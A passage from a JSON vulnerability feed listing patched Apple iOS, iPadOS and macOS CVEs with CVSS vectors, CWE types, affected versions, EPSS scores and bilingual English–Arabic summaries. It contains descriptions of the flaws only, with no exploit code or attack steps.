27.2 وwatchOS 27.2. قد يتمكن تطبيق ما من التسبب في إنهاء غير متوقع للنظام أو إفساد ذاكرة النواة."},"refs":[["https://support.apple.com/en-us/149227","ref"],["https://support.apple.com/en-us/149230","ref"],["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149523","ref"],["https://support.apple.com/en-us/149524","ref"],["https://support.apple.com/en-us/149525","ref"],["https://support.apple.com/en-us/149526","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ios-and-ipados"},{"id":"CVE-2026-113900","cvss":7,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-362","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:37:27Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"],[" – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"]],"title":{"en":"A race condition was addressed with improved state handling.","ar":"تمت معالجة حالة تنافس (race condition) من خلال التعامل المحسن مع الحالة."},"summary":{"en":"A race condition was addressed with improved state handling. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An app may be able to gain root privileges.","ar":"تمت معالجة حالة تنافس (race condition) من خلال التعامل المحسن مع الحالة. تم إصلاح هذه المشكلة في macOS Golden Gate 27.2 و macOS Sequoia 15.8.2 و macOS Tahoe 26.7.2. قد يتمكن أحد التطبيقات من اكتساب صلاحيات root."},"refs":[["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112469","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:37:07Z","product":"Apple iOS and iPadOS","affected":[["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"],["0 – <15.8.2","15.8.2"]],"title":{"en":"An out-of-bounds write issue was addressed with improved bounds checking.","ar":"معالجة مشكلة كتابة خارج حدود الذاكرة من خلال تحسين التحقق من الحدود."},"summary":{"en":"An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2, tvOS 27.2, visionOS 27.2. An app may be able to cause unexpected system termination or corrupt kernel memory.","ar":"تمت معالجة مشكلة كتابة خارج حدود الذاكرة من خلال تحسين التحقق من الحدود. تم إصلاح هذه المشكلة في الإصدارات iOS 26.7.2 و iPadOS 26.7.2، و iOS 27.2 و iPadOS 27.2، و macOS Golden Gate 27.2، و macOS Sequoia 15.8.2، و macOS Tahoe 26.7.2، و tvOS 27.2، و visionOS 27.2. قد يتمكن تطبيق ما من التسبب في إنهاء غير متوقع للنظام أو إحداث تلف في ذاكرة النواة."},"refs":[["https://support.apple.com/en-us/149227","ref"],["https://support.apple.com/en-us/149230","ref"],["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149523","ref"],["https://support.apple.com/en-us/149524","ref"],["https://support.apple.com/en-us/149526","ref"]],"epss":0.0022,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ios-and-ipados"},{"id":"CVE-2026-86936","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-693","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:36:59Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"],[" – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"]],"title":{"en":"A logic issue was addressed with improved checks.","ar":"معالجة مشكلة منطقية عبر تحسين الفحوصات."},"summary":{"en":"A logic issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An app may be able to gain root privileges.","ar":"تمت معالجة مشكلة منطقية عبر تحسين الفحوصات. تم إصلاح هذه المشكلة في macOS Golden Gate 27.2 و macOS Sequoia 15.8.2 و macOS Tahoe 26.7.2. قد يتمكن تطبيق ما من الحصول على صلاحيات root."},"refs":[["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112541","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-693","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:36:50Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"]],"title":{"en":"A parsing issue in the handling of directory paths was addressed with improved path validation.","ar":"معالجة مشكلة تحليل في التعامل مع مسارات الدلائل عبر تحسين التحقق من صحة المسار."},"summary":{"en":"A parsing issue in the handling of directory paths was addressed with improved path validation. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An app may be able to gain root privileges.","ar":"تمت معالجة مشكلة تحليل في التعامل مع مسارات الدلائل عبر تحسين التحقق من صحة المسار. تم إصلاح هذه المشكلة في macOS Golden Gate 27.2 و macOS Sequoia 15.8.2 و macOS Tahoe 26.7.2. قد يتمكن تطبيق ما من الحصول على صلاحيات root."},"refs":[["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149523","ref"]],"epss":0.0022,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112668","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-693","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:36:45Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"],["15.0 – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"]],"title":{"en":"A logic issue was addressed with improved checks.","ar":"معالجة مشكلة منطقية عبر تحسين الفحوصات."},"summary":{"en":"A logic issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An app may be able to gain root privileges.","ar":"تمت معالجة مشكلة منطقية عبر تحسين الفحوصات. تم إصلاح هذه المشكلة في macOS Golden Gate 27.2 و macOS Sequoia 15.8.2 و macOS Tahoe 26.7.2. قد يتمكن تطبيق ما من الحصول على صلاحيات root."},"refs":[["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112424","cvss":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H","cwe":"CWE-125","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:36:15Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"],["15.0 – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"]],"title":{"en":"An out-of-bounds read was addressed with improved bounds checking.","ar":"تمت معالجة قراءة خارج الحدود (out-of-bounds read) من خلال تحسين التحقق من الحدود."},"summary":{"en":"An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An app may be able to cause unexpected system termination or read kernel memory.","ar":"تمت معالجة قراءة خارج الحدود (out-of-bounds read) من خلال تحسين التحقق من الحدود. تم إصلاح هذه المشكلة في macOS Golden Gate 27.2 وmacOS Sequoia 15.8.2 وmacOS Tahoe 26.7.2. قد يتمكن تطبيق من التسبب في إنهاء غير متوقع للنظام أو قراءة ذاكرة النواة."},"refs":[["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"]],"epss":0.0022,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112449","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-190","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:35:56Z","product":"Apple iOS and iPadOS","affected":[["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"],["0 – <15.8.2","15.8.2"]],"title":{"en":"An integer overflow was addressed with improved input validation.","ar":"ثغرة عالية الخطورة في Apple iOS and iPadOS"},"summary":{"en":"An integer overflow was addressed with improved input validation. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2, visionOS 27.2. Processing a maliciously crafted 3D model may lead to memory corruption.","ar":"An integer overflow was addressed with improved input validation. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2, visionOS 27.2. Processing a maliciously crafted 3D model may lead to memory corruption."},"refs":[["https://support.apple.com/en-us/149227","ref"],["https://support.apple.com/en-us/149230","ref"],["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149523","ref"],["https://support.apple.com/en-us/149526","ref"]],"epss":0.0022,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"apple-ios-and-ipados"},{"id":"CVE-2026-112507","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:35:53Z","product":"Apple iOS and iPadOS","affected":[["0 – <27.2","27.2"]],"title":{"en":"An out-of-bounds write issue was addressed with improved bounds checking.","ar":"معالجة مشكلة كتابة خارج حدود الذاكرة من خلال تحسين التحقق من الحدود."},"summary":{"en":"An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 27.2 and iPadOS 27.2. An app may be able to cause unexpected system termination or write kernel memory.","ar":"تمت معالجة مشكلة كتابة خارج حدود الذاكرة من خلال تحسين التحقق من الحدود. تم إصلاح هذه المشكلة في الإصدارين iOS 27.2 وiPadOS 27.2. قد تتمكن أي تطبيق من التسبب في إنهاء النظام بشكل غير متوقع أو كتابة ذاكرة النواة."},"refs":[["https://support.apple.com/en-us/149230","ref"]],"epss":0.0017,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ios-and-ipados"},{"id":"CVE-2026-112679","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:35:47Z","product":"Apple iOS and iPadOS","affected":[["0 – <27.2","27.2"]],"title":{"en":"A use-after-free issue was addressed with improved memory management.","ar":"تم معالجة مشكلة استخدام الذاكرة بعد تحريرها من خلال تحسين إدارة الذاكرة."},"summary":{"en":"A use-after-free issue was addressed with improved memory management. This issue is fixed in iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, tvOS 27.2, visionOS 27.2, watchOS 27.2. An app may be able to cause unexpected system termination or corrupt kernel memory.","ar":"تم معالجة مشكلة استخدام الذاكرة بعد تحريرها من خلال تحسين إدارة الذاكرة. تمت معالجة هذه الثغرة في iOS 27.2 وiPadOS 27.2، وmacOS Golden Gate 27.2، وtvOS 27.2، وvisionOS 27.2، وwatchOS 27.2. قد يتمكن تطبيق ما من التسبب في إنهاء غير متوقع للنظام أو إتلاف ذاكرة النواة."},"refs":[["https://support.apple.com/en-us/149230","ref"],["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149524","ref"],["https://support.apple.com/en-us/149525","ref"],["https://support.apple.com/en-us/149526","ref"]],"epss":0.002,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ios-and-ipados"},{"id":"CVE-2026-112546","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-125","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:35:40Z","product":"Apple iOS and iPadOS","affected":[["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"],["0 – <15.8.2","15.8.2"]],"title":{"en":"An out-of-bounds read was addressed with improved bounds checking.","ar":"معالجة قراءة خارج حدود الذاكرة من خلال تحسين التحقق من الحدود."},"summary":{"en":"An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2, tvOS 27.2, visionOS 27.2, watchOS 27.2. Processing a maliciously crafted file may lead to unexpected app termination.","ar":"تمت معالجة قراءة خارج حدود الذاكرة من خلال تحسين التحقق من الحدود. تم إصلاح هذه الثغرة في iOS 26.7.2 و iPadOS 26.7.2، و iOS 27.2 و iPadOS 27.2، و macOS Golden Gate 27.2، و macOS Sequoia 15.8.2، و macOS Tahoe 26.7.2، و tvOS 27.2، و visionOS 27.2، و watchOS 27.2. قد تؤدي معالجة ملف مُصمم بشكل خبيث إلى إنهاء غير متوقع للتطبيق."},"refs":[["https://support.apple.com/en-us/149227","ref"],["https://support.apple.com/en-us/149230","ref"],["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149523","ref"],["https://support.apple.com/en-us/149524","ref"],["https://support.apple.com/en-us/149525","ref"],["https://support.apple.com/en-us/149526","ref"]],"epss":0.0021,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ios-and-ipados"},{"id":"CVE-2026-112638","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-122","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:35:37Z","product":"Apple iOS and iPadOS","affected":[["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"],["0 – <15.8.2","15.8.2"]],"title":{"en":"A heap buffer overflow was addressed with improved bounds checking.","ar":"معالجة فيضان المخزن المؤقت للكومة من خلال تحسين التحقق من الحدود."},"summary":{"en":"A heap buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2, tvOS 27.2, visionOS 27.2, watchOS 27.2. An attacker in radio range may be able to cause unexpected system termination.","ar":"تمت معالجة فيضان المخزن المؤقت للكومة من خلال تحسين التحقق من الحدود. تم إصلاح هذه الثغرة في iOS 26.7.2 و iPadOS 26.7.2، و iOS 27.2 و iPadOS 27.2، و macOS Golden Gate 27.2، و macOS Sequoia 15.8.2، و macOS Tahoe 26.7.2، و tvOS 27.2، و visionOS 27.2، و watchOS 27.2. قد يتمكن مهاجم ضمن نطاق الراديو من التسبب في إنهاء غير متوقع للنظام."},"refs":[["https://support.apple.com/en-us/149227","ref"],["https://support.apple.com/en-us/149230","ref"],["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149523","ref"],["https://support.apple.com/en-us/149524","ref"],["https://support.apple.com/en-us/149525","ref"],["https://support.apple.com/en-us/149526","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ios-and-ipados"},{"id":"CVE-2026-112478","cvss":9,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:H","cwe":"CWE-125","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:35:22Z","product":"Apple macOS","affected":[["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"]],"title":{"en":"An out-of-bounds read issue was addressed by removing the vulnerable code.","ar":"تمت معالجة مشكلة قراءة خارج الحدود (out-of-bounds read) عن طريق إزالة الشيفرة المصابة."},"summary":{"en":"An out-of-bounds read issue was addressed by removing the vulnerable code. This issue is fixed in macOS Golden Gate 27.2, macOS Tahoe 26.7.2. An app may be able to cause unexpected system termination or read kernel memory.","ar":"تمت معالجة مشكلة قراءة خارج الحدود (out-of-bounds read) عن طريق إزالة الشيفرة المصابة. تم إصلاح هذه المشكلة في macOS Golden Gate الإصدار 27.2 و macOS Tahoe الإصدار 26.7.2. قد يتمكن تطبيق ما من التسبب في إنهاء غير متوقع للنظام أو قراءة ذاكرة النواة."},"refs":[["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"]],"epss":0.002,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112497","cvss":9,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:35:21Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"]],"title":{"en":"This issue was addressed with improved permissions checking.","ar":"تمت معالجة هذه المشكلة من خلال تحسين التحقق من الأذونات."},"summary":{"en":"This issue was addressed with improved permissions checking. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An app may be able to break out of its sandbox.","ar":"تمت معالجة هذه المشكلة من خلال تحسين التحقق من الأذونات. تم إصلاح هذه المشكلة في macOS Golden Gate الإصدار 27.2 و macOS Sequoia الإصدار 15.8.2 و macOS Tahoe الإصدار 26.7.2. قد يتمكن تطبيق ما من الهروب من بيئة الحماية (sandbox) الخاصة به."},"refs":[["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149523","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112593","cvss":7.7,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:35:11Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"]],"title":{"en":"An out-of-bounds write issue was addressed with improved bounds checking.","ar":"تمت معالجة مشكلة كتابة خارج الحدود (out-of-bounds write) من خلال تحسين التحقق من الحدود."},"summary":{"en":"An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An app may be able to cause unexpected system termination or write kernel memory.","ar":"تمت معالجة مشكلة كتابة خارج الحدود (out-of-bounds write) من خلال تحسين التحقق من الحدود. تم إصلاح هذه المشكلة في macOS Sequoia 15.8.2 وmacOS Tahoe 26.7.2. قد يتمكن تطبيق من التسبب في إنهاء غير متوقع للنظام أو كتابة ذاكرة النواة."},"refs":[["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149523","ref"]],"epss":0.0021,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-86946","cvss":7.7,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:34:54Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"],[" – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"]],"title":{"en":"A use-after-free issue was addressed with improved memory management.","ar":"تمت معالجة مشكلة استخدام الذاكرة بعد تحريرها من خلال تحسين إدارة الذاكرة."},"summary":{"en":"A use-after-free issue was addressed with improved memory management. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An app may be able to cause unexpected system termination or corrupt kernel memory.","ar":"تمت معالجة مشكلة استخدام الذاكرة بعد تحريرها من خلال تحسين إدارة الذاكرة. تم إصلاح هذه المشكلة في macOS Golden Gate 27.2 و macOS Sequoia 15.8.2 و macOS Tahoe 26.7.2. قد يتسبب تطبيق ما في إنهاء غير متوقع للنظام أو تلف ذاكرة النواة."},"refs":[["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"]],"epss":0.0022,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112474","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:34:42Z","product":"Apple iOS and iPadOS","affected":[["0 – <27.2","27.2"]],"title":{"en":"A use-after-free issue was addressed with improved memory management.","ar":"معالجة مشكلة استخدام الذاكرة بعد تحريرها (use-after-free) من خلال تحسين إدارة الذاكرة."},"summary":{"en":"A use-after-free issue was addressed with improved memory management. This issue is fixed in iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, tvOS 27.2, visionOS 27.2, watchOS 27.2. An app may be able to cause unexpected system termination or write kernel memory.","ar":"تمت معالجة مشكلة استخدام الذاكرة بعد تحريرها من خلال تحسين إدارة الذاكرة. تم إصلاح هذه المشكلة في الإصدارات iOS 27.2 وiPadOS 27.2، وmacOS Golden Gate 27.2، وtvOS 27.2، وvisionOS 27.2، وwatchOS 27.2. قد يتمكن أحد التطبيقات من التسبب في إنهاء غير متوقع للنظام أو كتابة ذاكرة النواة."},"refs":[["https://support.apple.com/en-us/149230","ref"],["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149524","ref"],["https://support.apple.com/en-us/149525","ref"],["https://support.apple.com/en-us/149526","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ios-and-ipados"},{"id":"CVE-2026-112531","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:34:40Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"]],"title":{"en":"A use after free issue was addressed with improved memory management.","ar":"معالجة مشكلة استخدام الذاكرة بعد تحريرها (use after free) من خلال تحسين إدارة الذاكرة."},"summary":{"en":"A use after free issue was addressed with improved memory management. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An app may be able to cause unexpected system termination.","ar":"تمت معالجة مشكلة استخدام الذاكرة بعد تحريرها من خلال تحسين إدارة الذاكرة. تم إصلاح هذه المشكلة في الإصدارات macOS Golden Gate 27.2، وmacOS Sequoia 15.8.2، وmacOS Tahoe 26.7.2. قد يتمكن أحد التطبيقات من التسبب في إنهاء غير متوقع للنظام."},"refs":[["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149523","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112570","cvss":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:34:34Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"]],"title":{"en":"An access issue was addressed with additional sandbox restrictions.","ar":"معالجة مشكلة وصول من خلال قيود إضافية على صندوق الحماية (sandbox)."},"summary":{"en":"An access issue was addressed with additional sandbox restrictions. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An app may be able to break out of its sandbox.","ar":"تمت معالجة مشكلة وصول من خلال قيود إضافية على صندوق الحماية. تم إصلاح هذه المشكلة في الإصدارات macOS Golden Gate 27.2، وmacOS Sequoia 15.8.2، وmacOS Tahoe 26.7.2. قد يتمكن أحد التطبيقات من الخروج من صندوق الحماية الخاص به."},"refs":[["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149523","ref"]],"epss":0.0022,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112434","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-693","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:34:26Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"],["15.0 – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"]],"title":{"en":"A logic issue was addressed with improved checks.","ar":"معالجة مشكلة منطقية عبر تحسين الفحوصات."},"summary":{"en":"A logic issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An app may be able to gain root privileges.","ar":"تمت معالجة مشكلة منطقية عبر تحسين الفحوصات. تم إصلاح هذه المشكلة في macOS Golden Gate 27.2 و macOS Sequoia 15.8.2 و macOS Tahoe 26.7.2. قد يتمكن تطبيق ما من الحصول على صلاحيات root."},"refs":[["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-86992","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-119","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:34:22Z","product":"Apple iOS and iPadOS","affected":[["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"],["0 – <15.8.2","15.8.2"]],"title":{"en":"The issue was addressed with improved memory handling.","ar":"معالجة المشكلة من خلال تحسين التعامل مع الذاكرة."},"summary":{"en":"The issue was addressed with improved memory handling. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2, tvOS 27.2, visionOS 27.2, watchOS 27.2. Processing a maliciously crafted video file may lead to unexpected app termination.","ar":"تمت معالجة المشكلة من خلال تحسين التعامل مع الذاكرة. تم إصلاح هذه المشكلة في الإصدارات iOS 26.7.2 وiPadOS 26.7.2، وiOS 27.2 وiPadOS 27.2، وmacOS Golden Gate 27.2، وmacOS Sequoia 15.8.2، وmacOS Tahoe 26.7.2، وtvOS 27.2، وvisionOS 27.2، وwatchOS 27.2. معالجة ملف فيديو مُصمم بطريقة خبيثة قد تؤدي إلى إنهاء غير متوقع 